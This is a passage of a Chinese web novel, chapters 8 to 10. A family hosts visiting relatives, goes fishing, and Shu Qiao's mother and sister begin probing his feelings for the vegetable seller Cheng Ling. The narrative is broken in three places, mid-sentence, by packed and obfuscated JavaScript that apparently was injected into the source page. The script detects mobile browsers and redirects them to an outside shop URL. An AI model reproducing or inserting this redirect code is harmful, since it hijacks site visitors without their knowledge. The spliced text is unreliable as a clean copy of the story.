“这儿有我们俩就行，小月你去玩吧。”程川手上轻松了，接过她费力提着的桌腿。 “嗯。”程月点点头，脚却往程凌那边挪，见他拿来抹布和扫帚，连忙帮忙端木盆打水，然后站在一旁盯着他们忙活。 程凌先用扫帚扫掉桌上的厚灰，泼了水拿抹布用力擦，抬头见她一脸认真，忍不住笑了笑，“太阳大，小月去前院帮忙择菜吧。” 程月犹豫了一下，见桌子快洗好了，这才点点头，小跑着回了灶屋。 这张大圆桌逢年过节才拿出来，平时放在屋里积了不少灰。程川用扫帚卷掉上边的蛛网，见网里有只蜘蛛，便拿棍子挑着玩。程凌看过来时，他连忙扔了棍子，嘿嘿笑了两声，麻利地干起活来。 洗好的桌子被程凌搬到太阳底下晒着。 这时程家门前，几个人提着大包小包站在门口。 “娘，是这儿吧？” “是这儿，敲门喊人。” “终于到啦，我屁屁都坐麻了。” “小裕别坐地上，衣裳要脏了。” 许氏从灶屋出来，听见外边的小孩声，扬声问：“是大姐回来了吗？” 曲哥儿推开门探了探头，见到许氏连忙笑着喊：“大舅母，我们回来啦！” 许氏赶紧迎上去，“诶，曲哥儿，快进来快进来。”又招呼众人，“可算到了，快进屋歇歇，饭马上就好。” 听到动静，屋里的人都走了出来，院子里顿时热闹起来。 “光顾着高兴了，快进屋坐。”程二婶刘氏拍了下手，见小裕直盯着自己，便弯下腰笑问，“这是小裕吧？走，跟二舅奶进屋，有好吃的。” 小裕抬头看了看阿爹，见他点头，当即牵起刘氏的手蹦蹦跳跳往里走，“舅奶奶，有什么好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程凌实在想不通，程川都十五六岁了，怎么还能跟个四岁娃玩得这么起劲。 曲哥儿来过程家好几次，程月那会儿还小不记得他，不过这不耽误两人凑一块儿，边吃甜糕边唠嗑。 家里每个人都有自己的活计或乐子，程凌看了一圈，索性去灶屋看看有没有能帮忙的。 因为准备得早，午饭吃得也比往常早。 前院那棵梨树有些年头了，如今长得高大茂密，正好遮阳。 程凌把晒干的大圆桌架好，众人把菜一道道端上来，碗筷摆齐，酒水满上。 一共十二个人，好在桌子够大，刚好坐得下。 “来来来，大姐一家难得回来，大家吃好喝好，都是自家人，别客气。”许氏坐下招呼。 “他们男人喝酒，咱们先吃。”程姑姑也笑着说。 小辈们闻言纷纷动筷，饭桌上说笑声不断。 “表叔叔，这个鸡腿真的给我吃吗？”小裕两手捧着碗，直盯着碗里的鸡腿，又抬头眨眨眼问。 程川大手一挥，“吃吧，表叔这儿还有。” “谢谢表叔叔！”小裕乖乖道谢，又转头朝阿爹笑了笑，两手抓起鸡腿啃起来，没一会儿就吃得满脸是油。 孩子们吃饭，程姑父和程家两兄弟三人则在旁边喝了不少，连带着程凌也跟着喝。 程二叔自己酿的果酒不醉人，带点甜味。程凌混着在城里买的烧酒喝了不少，吃完饭只觉得脑袋发沉，脚下发飘，先起身回屋了。 刚挨着床沿躺下，眼皮还未完全阖上，屋外就传来程川咋咋呼呼的喊声。 “哥！快出来啊，就等你了！” 程凌眉头一皱，太阳穴突突地跳，酒意被这声喊勾得愈发浓烈。他连睁眼的力气都欠奉，只朝着门口方向，声音带着几分酒后的低哑，含糊应了句，“不去。” 说完，他侧过身，将脑袋往枕头上一埋，昏沉的睡意瞬间席卷而来。屋外的动静渐渐淡去，终是被浓重的倦意彻底隔绝在外。 8. 第 8 章 午后的热气伴着蝉鸣漫开，院子里杯盘碗筷的声响渐渐歇了。 程凌躺在自己屋里，听着窗外隐约的动静，脑子虽还有些昏沉，却并没真的睡着。直到听见娘在灶屋忙碌，他才撑着身子起身出去。 许氏把刚洗好的碗筷归置好，对在外面收拾的程凌道：“儿子，井里湃的绿豆汤该凉透了，你去拿上来吧。” “这就去。”程凌把最后几条凳子归置好，应着往后院走。 这绿豆汤是许氏特意为赶路辛苦的程姑姑一家熬的，在井里镇了这半晌，喝起来正清凉解暑。 申时的日头依旧毒辣，梨树下聚了些凉意，几人便坐在那儿有一搭没一搭地闲聊。 程凌盛了碗绿豆汤，在一旁坐下慢慢喝着。方才歇了会儿，酒意散了大半，听着长辈们拉家常，倒也惬意。 “之前没留意，小凌都长这么高了，瞧这身量，比他爹还高出半头呢。”程姑姑望过来，眼里满是慈爱。 程凌一时不知该怎么接话，只含糊地点了下头，原本敞开的腿往回收了收。他三两口喝完碗里的汤，起身道：“我再去添点。” 许氏在一旁笑着接话道：“十七八的大小伙子，比他爹高也正常。就是不知往后还能不能再窜一窜。” “这会儿就正好了，太高了反倒不好说亲。”程姑姑顿了顿，话头自然地一转，“说起来，小凌的亲事有眉目了没？” “没呢。”许氏轻哼一声，语气里带着无奈，“年前跟他提过一嘴，你猜他怎么说？非要先摆摊卖菜，攒些钱再说。我瞧着，这小子就是还没开窍，拿话搪塞我们呢。” 榴哥儿在一旁抿嘴笑道：“我觉着表弟这样挺好，知道上进总比游手好闲强。” “榴哥儿说的是这个理。”程姑姑深以为然，“这年纪肯出去找活计、做买卖，都是踏实肯干的，往后的日子差不了。再说家里底子也够用，孩子想自己闯闯，你们当爹娘的支持，再好不过。” “我和他爹是没辙了，只能由着他去。”许氏说着，瞧见曲哥儿从屋里出来，忙招呼道，“曲哥儿醒啦？过来这边坐。” 等曲哥儿坐下，许氏又含笑问道：“说起来，曲哥儿跟小凌年岁差不多，亲事可定了？” 曲哥儿原本还带着些睡意，闻言脸上立刻飞起两片红云，不好意思地点了点头道：“定了。” 没等许氏细问，程姑姑已接过话头，说道：“那户人家也住镇上，开着间香烛铺子。家里人口简单，除去爹娘，就他一个小子，上头还有一个已经出嫁的哥儿。” “这般家境倒是不错，人口又简单，少了妯娌间的纷争，往后的日子定能清净些。”许氏赞许地点头。 寻常人家过日子，哪能没有些磕磕碰碰，妯娌婆媳之间更是难免闹矛盾，如今少了这些纠葛，日子自然要舒心得多。 “可不是嘛。”程姑姑轻轻叹气，“曲哥儿性子软，我才特地挑了户人口少的。真要嫁去那种兄弟多，婆母又厉害的人家，还不得被欺负坏了。” 她这小哥儿，自小就是她心尖上的肉，为了这桩亲事，她没少跟着当家的东奔西走，四处托人打听，天天悬着心，就怕看走了眼，把儿子送进火坑。 曲哥儿听她们围着自己的亲事说个没完，实在坐不住，听说灶屋还有绿豆汤，小声说了句“我去喝碗汤”，便赶紧起身溜了。 榴哥儿看着他慌里慌张的背影，低头掩嘴笑了笑。 许氏和程姑姑聊着天，心里却暗自琢磨，自家儿子比曲哥儿还大些，亲事还没着落，看来得找个时间好好跟他谈谈，这回可不能再让他找借口推脱了。就算不马上成亲，起码先定下一门亲事。 程凌还不知道许氏的心思，在灶屋又喝了两碗绿豆汤，见曲哥儿进来，便放下碗转身出去了。 家里有娘她们招待姑姑一家，他也插不上话，想着溪边凉快，干脆去找程川他们。 小溪边，程川挽着衣袖裤脚，手里举着网兜，蹑手蹑脚地逼近石缝边的小鱼小虾，猛地一兜提起，网兜里的鱼虾顿时扑腾乱跳。他赶紧攥紧网口，生怕它们跑了。 这网兜是他用麻绳和竹篾编的，捞上来的都是些一指宽的小鱼小虾，回去炸着吃正好。 “哇，这里面有只螃蟹！”小裕指着网底一只正往外钻的螃蟹，想碰又不敢碰。 程月站在一旁，一本正经地说：“这螃蟹太小了，不能吃，放了吧。” 小裕兴奋的小脸顿时垮了下来，眼巴巴地问：“那能给我玩玩吗？” 程月摇摇头，“不行，夹到手可疼了。” “好吧。”小裕虽有些不舍，却没再纠缠。 程川在一旁笑道：“没事，表叔再给你抓条大鱼！” “真的吗？谢谢表叔叔！”小裕立刻又雀跃起来。 程月张了张嘴，想说这小溪里根本没有大鱼，可见小裕满脸期待，到底把话咽了回去。算了，说不定过会儿他就忘了这茬了。 这时，旁边有小伙伴喊程月，她便没再管那两个一心想抓大鱼的一大一小，跑去和小姐妹捡石子了。 程凌过来时，看到的就是这样一幅场景——三三两两的孩子或在浅水处嬉戏，或低头寻觅石子，唯独程川和小裕，一个举着网兜，一个蹲在一旁，嘴里念念有词，不知在捣鼓什么。 “程川。”程凌站在溪边，见他双手在水里搅和，泥沙泛涌，把清水都搅浑了。 “哥！”程川闻声抬头，笑嘻嘻地举起手，“看，泥鳅！” 这泥鳅本是藏在石缝泥里，被程川瞧见，索性丢了网兜徒手去抓。那泥鳅在他手里扭动挣扎，泥点溅了小裕一脸，小家伙却咯咯直笑。 见小裕跃跃欲试，程川连忙抬起手，说道：“这东西太滑，你抓不住，先放桶里，回去再玩。” “好吧。”小裕乖巧应着，转身去拿木桶。 “对了哥，你怎么来了？”程川用肩膀蹭了蹭脸上的汗渍，小声嘀咕，“晌午不还说只有小孩才爱玩水么。” 程凌面色淡然，“来河边，不抓鱼能干什么。” “哦——”程川会意，把泥鳅扔进桶里，看了眼身旁的小裕，兴致勃勃道，“那咱们一块儿吧！” 他可是答应要给小裕抓大鱼的，正愁没法子。这小溪水浅，别 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他起初还用程川的网兜，觉着不顺手，索性直接徒手。他眼疾手快，瞅准时机便迅捷出手。不过片刻，一条巴掌宽的鱼便被利落地扔进桶里，引得程川和小裕压低声音欢呼起来。 程凌没理会他俩，转身继续专注地盯着水面。 另一边，程月玩了会儿石子，回头一看，发现小裕不见了，顿时慌了神，起身四处张望。 “你哥好像跟你大哥往河边去了。”旁边的小伙伴提醒。 “这样啊……”程月松了口气，心里却有点恼，“走了也不喊我一声。”她倒不担心程川，只是小裕年幼，在水边跑丢，可要吓坏她了。 日头渐渐西沉，将天边染成一片暖橘。 几人提着水桶归来，裤脚衣摆都湿了大半，却掩不住满脸的畅快。 “回来啦？”许氏迎上前，朝桶里瞧了一眼，便笑开来，“哎哟，捞了这么多！咱们小裕真能干。”说着用袖口替小家伙擦去溅在脸颊的泥点。 小家伙玩得尽兴，脸蛋还红扑扑的，连忙摆手一脸崇拜道：“不是我抓的，是表叔他们抓的！还有条大鱼呢，可厉害啦！” 许氏顺势往桶里细瞧，果真见一条肥鱼翻着银白的肚皮，当即笑弯了眼，“好，今儿咱们就把这鱼吃个够！” 晚间灶屋又飘出了鱼香。中午吃了清蒸鱼和红烧鱼，今晚这条鱼则用来香煎，再佐上些自家腌的酸梅，料汁咸酸开胃，特别下饭。 家里多了几口人，热闹了不少。 天擦黑后，程川便带着小裕在院子里跑开，追逐那些忽明忽暗的萤火虫，清脆的笑声像铃铛一样洒满小院。 程凌倚在门廊边看了一会儿，并未加入。 夜风带着溪水般的凉意，徐徐吹来，拂去了白日的最后一丝燥热。 他抬眼望向天边那弯清亮的月牙，想到明日出摊便能见着那个人，心头仿佛被这月色温柔地笼罩。他转身进屋，预备早些歇下。 明日，还有明日的盼头。 9. 第 9 章 日头西沉，酉时将近。 舒小圆一个下午都心不在焉，手里的绣活没动几针，目光总往门边瞧。眼见天色差不多了，她立刻丢开绣绷，蹭到舒乔身边，眼巴巴地望着道：“哥哥，该去菜行了吧？” “这话你今日都问三回了。”舒乔正给帕子收尾，指尖利落地打了个结，抬头看她那急切模样，又是好笑又是无奈。 “我这不是……心里惦记嘛。”舒小圆见他开始收拾丝线，知道这回是真要走了，忙抢着帮忙，“哥哥你别动，我来收拾！你去拿菜篮子就好！”话音未落，已手脚飞快地将针线剪刀归拢好，小跑着送回屋里。 舒乔由着她忙活，起身活动了下僵硬的肩颈。坐了一下午，腰背发酸，连眼睛都有些干涩。他望着远处的槐树枝梢，慢慢抻了抻胳膊，朝灶屋走去。 舒小圆一只脚刚迈出门槛，又猛地回头，扭头朝屋里喊：“哥哥，竹筒可别忘了！” “带着呢。”舒乔低笑几声，伸手轻轻推着她的肩往外走，“走吧，再磨蹭该晚了。” 舒小圆嘿嘿一笑，像只出笼的雀儿，立即跑在前边，“走咯！” 菜行那头，程凌已将所剩不多的菜蔬归置整齐，空筐也摞好了。他看似不紧不慢，眼风却时不时扫向来的放向。算着时辰，那人该来了。 当那熟悉的、不疾不徐的脚步声终于在嘈杂中清晰起来时，他几乎是立刻直起了身。果然，舒乔提着篮子，身边还跟着个探头探脑的小丫头，正朝这边走来。 程凌抬手用袖子擦了擦额角，迎上舒乔的目光，那眼神自然而然地就软了下来，低声道：“来了。” “程大哥。”舒乔唇边带着浅浅的笑，点了点头，默契地将空菜篮递过去。 程凌接过篮子，俯身从脚边的箩筐里捧出早就备好的菜叶，都是些鸡爱吃的嫩叶，看得出是特意挑拣过的。 一旁的舒小圆早把来前那些念头忘了个干净。她一手拽着舒乔的袖子，看着哥哥和这位程大哥，一个递篮子，一个放菜叶，动作娴熟自然，连句话都不用多说，一个眼神便知对方所需，不由得睁大了眼睛，目光在两人之间来回打量。 程凌将装的满当当的菜篮递回，手臂稳当地托着底部，确保舒乔能轻松接过。见小姑娘正圆睁着眼瞧自己，他脸上没什么表情，但那双总是显得沉稳甚至有些锐利的眼睛，此刻线条却柔和了些，转向舒乔问：“这是你小妹？” “嗯，舍妹小圆。”舒乔轻轻按了按妹妹的肩头，提醒她打招呼。 舒小圆回过神，想起自己该有的礼数，连忙挤出个乖巧的笑容，声音响亮道：“程大哥好！” 程凌颔首回应，视线转到舒乔手中那个眼熟的竹筒上，目光在上面停留了一瞬。 不等他开口，舒乔先递了过去，“天气热，程大哥你多喝些水。” 程凌很自然地接过，拔开塞子，一股浓浓的麦香便飘了出来。他凑近些闻了闻，那香气更明显了些，抬眼看向舒乔，“炒大麦？” “嗯。”舒乔双手提着沉了不少的菜篮，闻言只是微微抬了抬下巴，眼神示意他喝，“前阵子炒了些存着，夏天泡水正合适。” “乔哥儿费心了。”程凌没多说什么，往水囊里倒了些。他仰头喝了一大口，喉结滚动，再放下水囊时，眉宇间那点被暑气蒸腾出的最后一丝躁意，也仿佛被这熨帖的茶水平息了。 舒乔看着他喝下，这才接过递回来的竹筒，指尖在竹筒外壁残留的温热上无意识地摩挲了一下，没再客套。 舒小圆踮着脚，看看这个，又看看那个，只觉得两人之间像是隔了层看不见的纱，把她挡在了外边，连句话都插不进去。 回去的路上，舒小圆还琢磨着刚才的情景，舒乔跟她说话都没听见。 “小圆？”舒乔停下脚步，又唤了一声。 “啊？哥哥你说什么？”她猛地回神。 “我问你，晚上想吃什么？”舒乔掂量着家里的存粮，“剩下那半块南瓜得赶紧吃了，再放就该坏了。家里油也不多了，过两日得买些猪板油回来熬……” 舒小圆只听了一半，知道哥哥心下已有章程，思绪便又飘远了。 要不……明日再跟哥哥来一趟菜行？ 夕阳沉入西山，晚霞将半边天际染成瑰丽的橘红色。白日的燥热渐渐消散，暮色悄然而至。 舒家小院里，一家人用过晚饭，正趁着晚风闲话纳凉。 舒小圆终究藏不住心事，拉着舒小临，将白天见到程大哥的经过一五一十地说了。她话还没说完，一旁原本靠着椅背假寐的秦氏，忽然坐直了身子。 “乔哥儿，小圆说的可是真的？” “嗯？”舒乔方才有些走神，没听清他们谈论什么，见她眼中带着几分急切与探究，不由疑惑，“娘，怎么了？” 舒小圆在一旁小声提醒，“哥哥，是程大哥的事啦。” 舒乔这才了然，执起一旁的葵扇缓缓摇着，语气平和道：“是真的。程大哥心善，常留些菜叶给我喂鸡，我不过是顺道给他带点水，寻常往来罢了。” 秦氏追问道：“那位程…程什么？” “程凌。”舒乔补充道。 “对，程凌。”秦氏往前倾了倾身子，声音压低了些，“他家住何处？家里还有哪些人？年纪多大了？” “这些……我倒不曾问过。”舒乔反手拍落腿上的蚊子，“只知他在菜行摆摊，其余并不清楚。娘，你别多想，我们只是寻常相交。” 怕她误会，他又特意补了一句，“真没别的意思。” 秦氏张了张嘴，想说自个儿还没往那处想呢。 见儿子这般说，秦氏便不再多问，心里却总觉得有些异样。 一旁的舒小圆听着哥哥的话，再看看娘亲的神色，心里忽然透亮起来！ 原来如此！她就说嘛，哥哥和程大哥相处时的那股子自在劲儿，看着就跟别人不一样！ 舒小圆年方十岁，虽不甚懂得男女之情，但平日里耳濡目染，也懵懵懂懂地知晓些大概。 她心想这下哥哥的婚事或许有着落了。 可转念一想，她又蹙起眉头。他们连程大哥家住何处都不清楚，万一他不是好人呢？ 看来明日还得再去一趟，得替哥哥好生打探打探！ 至于哥哥为何否认，舒小圆猜想，许是面皮薄，不好意思承认。 舒小临看着妹妹一会儿皱眉一会儿窃笑的模样，伸手轻拍她的后脑勺，“琢磨什么呢？院里蚊子多，跟我去取些艾草来熏熏，不然晚上该睡不安生了。” 舒小圆拨开他的手，揉了揉脑袋，嘟囔道：“知道啦！” 家里备着不少晒干的艾草，扎成整齐的小捆。用时取些搓成条，点燃后吹灭明火，置于陶碗中阴燃生烟。蚊虫受不住这气味，自会远远避开。 这一夜没了蚊虫扰人清梦，舒乔睡得格外香甜。 翌日酉时，他刚提起菜篮，就见舒小圆已然守在门边，一双眼睛亮晶晶地望着他。 “哥哥，今天我还要跟你去！”舒小圆仰着小脸，笑容格外甜。 “好，走吧。”舒乔只当她是在家闷得慌，含笑应了，心想昨日的好奇心总该满足了吧。 谁知，一到菜行，舒乔就发现自己想错了。 “程大哥，你也住在城里吗？”舒小圆仰着头，开始了她的“盘问”。 “不在城里，在清水村，离这儿不算远。”程凌耐心答道。 “那程大哥家里有兄弟姐妹吗？我们家有哥哥、小临哥，还有我和娘。” “我是独子，家里就爹娘两位长辈。”程凌说着，目光不经意地扫过舒乔的脸。 “那程大哥你……”舒小圆趁热打铁，刚要问他年岁、是否定亲，就感到衣角被轻轻扯了一下。她抬头，正对上哥哥微微摇头看着她，立刻把后半句话咽了回去。 舒乔想起昨夜娘的追问，再看看眼前这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舒小圆未作他想，将自己所见一一道来，又补充道，“他说他家住清水村，是独子，没有兄弟姐妹，瞧着年岁和哥哥相仿。” “生得俊，性子稳，又是独子，年岁也相当……”秦氏喃喃自语，心里盘算着，又追问了一句关键，“你看他待你哥哥，是客气的成分多，还是真心的成分多？” 舒小圆歪着头，仔细回想着程凌看哥哥时的样子，肯定地点点头：“是真心的！就是……看到哥哥，他整个人都放松下来的那种感觉，错不了！” “真心就好……”秦氏心里踏实了些，也更活络了。 看样子，两个孩子之间，多半是彼此都有了好感。可乔哥儿到底是怎么想的？那程凌家中是否已定了亲事？ 这些若不清楚，空欢喜一场反倒徒增烦恼。 秦氏在炕边思忖良久，忽然有了主意。她这身子将养了这些时日，大好虽未全愈，重活是做不了，去菜行转转却无妨。不如……她亲自去瞧上一眼。 她也实在是没法子了。自打上回张家媳妇上门说亲闹了场不愉快后，乔哥儿的婚事便成了她心头一块大石，没有一日不悬着心。 家里如今靠着乔哥儿绣帕子、小临做活计，日子总算有了盼头。可乔哥儿也到了该说人家的年纪，若再拖上两年，好的怕是都要被挑走了。 眼下这个程凌，听小圆说起来模样周正、性情稳重，又肯特意给乔哥儿留菜叶，保不齐真存了几分心思。 如今年轻人的婚事，多是托媒人或亲友留意牵线。可乔哥儿这事儿，既然已有了苗头，她这个做娘的，自然得先悄悄替他把把关，总不能平白错过了好姻缘。 这么想着，秦氏起身理了理衣衫，脚步轻快地朝灶屋走去。 今晚先探探乔哥儿的口风，瞧瞧他对程凌，究竟是何态度。 10. 第 10 章 夜幕低垂，屋内的油灯芯子被拨亮了些，昏黄的光晕笼罩着这方寸天地，空气中浮动着淡淡的灯油气味。 舒乔盘腿坐在炕上，手中的葵扇有一下没一下地摇着。被秦氏和舒小圆一左一右地盯着瞧，他不由得坐直了身子，眼底浮起疑惑问：“晚上的菜，火候没掌好？”不然这两人为何一副要审问的架势，眼神里还透着说不清的急切。 “不是晚饭的事。”秦氏往他身边挪了挪，声音放得轻缓，“乔哥儿，娘就想问你个事儿，随口问问。” 舒乔懒散地应了一声，“娘想问什么直接问便是，怎么还绕起弯子了？”他心底的好奇倒是被勾了起来，不知是什么事让她这般谨慎。 “还是关于程凌那孩子的事。” 舒乔摇扇的手微微一顿，心里暗叹怎么又绕到这头了。他挺直了腰背，神色认真了几分道：“娘你说。” “今天我仔细问了小圆，”秦氏字斟句酌，生怕惊着儿子，“程凌那孩子模样周正，性子也好。娘就是想问问，你对他……是不是存了些好感在？” “好感？”舒乔彻底停住了摇扇的动作，眼中透着茫然，手指无意识地收拢，握紧了葵扇的竹柄，“我对程大哥？” “对呀！肯定不是我跟小满那种！”舒小圆在一旁抢着补充，还不忘插一句题外话，“不过哥哥，今晚的饭确实有点过火了。” “那我下次注意点火候。”舒乔下意识地接话，随即又被秦氏的目光拉回了正题。 秦氏轻轻拍了拍舒小圆的手背，示意她别打岔，转而看向舒乔道：“这没什么不好意思的。咱们都是一家人，乔哥儿你仔细想想，不用急着答话。” 舒乔没再应声，而是垂眸细细回想起来——初次在菜行相遇，程凌默默递过来的那把嫩菜叶；后来他送水过去，对方总温声道谢，说他有心；偶尔他去得晚些，那人总会等着；上次买柴，更是特意帮他送回家…… 程凌生得高大，肩背挺阔，可低头和他说话时总会微微倾身。那双惯常沉稳的眼睛，见到他时会微微弯起，眼尾漾开细浅的纹路。两人说话也总能接上茬，从天气农事聊到家中琐碎，从未冷过场。 若说好感，舒乔心里是认的。只是他不敢深想，怕是自己会错了意，更怕坏了眼下这份难得的投契。 那程凌对他呢？ 舒乔忆起最初程凌给他菜叶时的神情，想起对方望向自己时眼中掩不住的笑意，又觉得，或许程大哥待他，也是有几分不同的。 这般一想，他才惊觉，两人相处的点滴竟都记得分明，连程凌笑时眼尾细微的纹路都清晰印在脑中。思及此，一股热意悄悄爬上耳根，他下意识抬手摸了摸耳垂。 “哥哥，你是不是热着了？我帮你扇扇。”舒小圆见他耳廓泛红，连忙拿过葵扇站起来用力扇风。劲风拂过，吹得舒乔额前碎发纷飞，连灯焰都晃了几晃。 “够了够了，不用这般大力。”舒乔急忙拦下她，“轻轻扇就好，仔细累着你。” 舒小圆放轻了动作，小声问：“这样可好？” “嗯，这般正好。”他借着拦下妹妹的动作偏过头，悄悄松了口气。 被舒小圆这么一打岔，舒乔心头那点旖旎心思顿时散了大半。夜风拂过微烫的耳根，带来几分清凉，也把他从方才那些过于真切的回想里拉了出来。 秦氏在一旁将这一切尽收眼底，唇边的笑意始终未散。看来她猜得不错，乔哥儿对程凌确实存了好感。如今，只差摸清程凌那孩子的心意了。 “乔哥儿，我明日同你一道去菜行瞧瞧吧。”秦氏忽然开口。 舒乔略显诧异道：“娘怎么想起去菜行了？” 舒小圆扇得手酸，耷拉着胳膊喘气。舒乔接过扇子继续慢悠悠地摇着，目光落在秦氏身上。 “上次你不是说要带我去医馆复诊么？”秦氏解释道，“我近来觉得身子爽利多了，明儿下午去号个脉，正好顺路去菜行走走，也省得你再多跑一趟。” “那好。”舒乔未作他想，当即应下。娘能出门散散心也是好事，总闷在屋里反倒不利于养病。 “我也去！我也去！”舒小圆立刻举起手，凑到舒乔身边摇他的胳膊，“我帮你们提篮子。” “好。”舒乔含笑点头，指了指炕尾的木箱，“那你把箱子搬过来，我把明日要用的银钱理一理。” “好咧！”舒小圆利落地去搬箱子，一上一下动作很是熟练。 这时，门外传来舒小临的声音。他刚洗漱完，路过门口探进头来问：“娘，你们还没歇下？” “再说会儿话。”秦氏朝他摆摆手，“小临你快去睡吧，明早还要上工。” 舒小临应了一声，想着他们许是在说体己话，便没去打扰，转身回了自己屋。 舒乔就着油灯的光，打开木箱。里面多半是用麻线串好的铜钱，一串串码得齐整，还有几块零散的碎银子，收在箱底的小布包里。 他一边点数，一边低声盘算，“娘号脉抓药得留三十文，回来买五斤猪板油，省着点够用两三个月了，留一百二十文。小临在茶馆跑上跑下，天又热，我瞧着他清减了些，再买点肉煮粥给他补补，二十文应当够了……” 这般算下来，将近两百文要花出去。好在这些都是必要的开销，并非日日如此，倒也勉强撑得住。 舒小圆趴在一旁，双手托腮看他数钱，眼睛亮晶晶的。听着铜钱相碰的清脆声响，她心里也跟着欢快起来。 很快，舒乔点好明日需用的银钱，一一放入钱袋，仔细锁好箱子，让舒小圆放回原处。 “好了，时辰不早了，都歇着吧。”秦氏起身掩上门，吹熄了油灯。屋内霎时暗了下来，只剩窗外透进的朦胧月光。 夜很静，能听见远处蟋蟀的低鸣，偶尔夹杂着邻家的几声咳嗽，混着风吹叶片的沙沙声响，格外催人入睡。 舒乔拉过薄被搭在腰间，正酝酿睡意，后背忽然被人轻轻戳了一下，惊得他一个激灵。 “哥哥，你还没说你对程大哥到底是什么感觉呢。”舒小圆的声音压得极低，却带着不容搪塞的执着。 舒乔：“……”这丫头，竟还记着这桩。 他在黑暗中静默片刻，才传来一声带着羞窘的轻叹，声音轻得几不可闻道：“便是你想的那般。” “哦——”舒小圆拖长了尾音，语气里满是“果然如此”的得意，还带着点儿小雀跃。 舒乔察觉她还想追问，连忙转过身，轻轻拍了拍她的手臂，带着几分哄劝道：“快睡吧，明日还要早起呢。” 舒小圆悄悄吐了吐舌头，乖乖闭了嘴，不再作声。 秦氏躺在一旁，唇角无声地弯了弯。心里盘算着明日的事，她也缓缓合上了眼。 反倒是舒乔，被妹妹这一问，方才好不容易压下的心思又翻涌起来。他在枕头上轻轻蹭了蹭发烫的脸颊，脑海里不由自主地又浮现程凌的模样——那人接过竹筒时专注的眉眼，低头挑菜时微抿的唇角，还有偶尔看向他时，眼里那份藏不住的温和。 他忍不住把半张脸埋进枕头里，嘴角悄悄扬起。明日就能见到程大哥了……这念头让他心头泛起细细密密的甜，抱着这份甜丝丝的期待，他终于沉沉睡去。 翌日下午，日头不算烈，风里带着些许凉意。舒乔拎着钱袋和菜篮，带着秦氏与舒小圆出了门。 “哥哥，我帮你提篮子！”舒小圆一把拿过菜篮，蹦蹦跳跳走在前头。篮子在她手中晃晃悠悠，倒像是个好玩的玩具。 秦氏这数月鲜少出门，走在街上略有些不惯。看着往来行人、沿街叫卖的摊贩，她的脚步不由得放慢了些。 舒乔陪在她身侧，不时抬手指着街景，细说近日的变化。 “前阵子街角开了家面馆，红布幌子挂了不到半月就摘了。听人说面价贵又硬，汤头也没滋味。咱们常去的那家杂货铺，说要搬到西头，换个宽敞店面。往后买针头线脑，得多走几步路了。” 舒小圆回头插了一句，“小满她爹说，杂货铺空出来的地方，好像要开馄饨铺呢！” “是么？”秦氏有些讶异，目光望向那间空铺面，“可街西头不是已有一家馄饨铺了？两家挨得这般近，倒像是打擂台似的。” “就是说嘛！”舒小圆撇撇嘴，故作老成地摇摇头，“要我说，开家点心铺子才好，这样就不用跑老远买梅花糕了。” 舒乔轻哼一声，伸手揉了揉她的发顶，无奈道：“你就惦记着吃，前儿你小临哥不是才给你买了梅花糕？” “哥哥这你就不懂了，”舒小圆仰起小脸，理直气壮地反驳，“哪有人会嫌点心多的！” 秦氏看着兄妹俩斗嘴，脸上漾开笑意，脚步也轻快了不少。 三人边说边走，不多时便到了医馆。 医馆木门敞着，里面飘出淡淡的药香。下午人不多，只有三两抓药的，安安静静的，只听得到药杵捣药的闷响。 待前头穿蓝布衫的大叔抓完药离开，舒乔扶着秦氏走上前。 他每旬都来为秦氏取药，药童与坐诊的林大夫都与他相熟。见他来，着灰布衫的药童笑着招呼，“舒小哥来了？今儿带婶子复诊？” 舒乔点头，扶秦氏在诊脉的木凳上坐下，对桌后的林大夫道：“林大夫，劳您给我娘号号脉。” 林大夫应了声，伸指搭在秦氏腕间，眉峰微聚，凝神细诊。 舒乔与舒小圆立在一旁，屏息凝神，目光紧锁着林大夫的神情。 片刻后，林大夫收回手，面上露出宽慰之色道：“恢复得比预想更好。吃完这副药，便不必再来了。”说罢，他提笔在纸上飞快写下药方递给舒乔，又叮嘱道，“只是多年劳碌，底子仍虚。回去后少操劳，多静养，饮食也清淡些。” “多谢林大夫！”三人连忙应下，悬着的心总算落了地。 秦氏身子见好，家里便少了一桩牵挂。 舒乔拿着药方去抓药，秦氏与舒小圆坐在一旁长凳上等候。 药童手脚麻利，不多时便包好药，用草纸扎紧递给他，“仍是老规矩，三碗水煎成一碗，早晚各一次，温服。” 舒乔点清铜钱付了账，拎起药包，脸上带着轻松的笑意，朝秦氏与舒小圆示意，“走吧。” 舒小圆蹦跳着下了台阶，抬头望天，忽然蹙起眉道：“哥哥，像是要下雨了。” 秦氏也举目望去，只见天边不知何时聚起一团浓云，正缓缓移来。 “还真是，方才还晴着，这天变得真快。”她心里惦着去菜行，连忙催促，“快些走，仔细淋了雨。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164058|196618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >三人加快脚步。风渐渐大了，街边幌子被吹得哗啦作响，树梢枝叶簌簌摇动。 赶到菜行时，摊贩们正忙着收摊，个个行色匆匆，嘴里抱怨着天气。 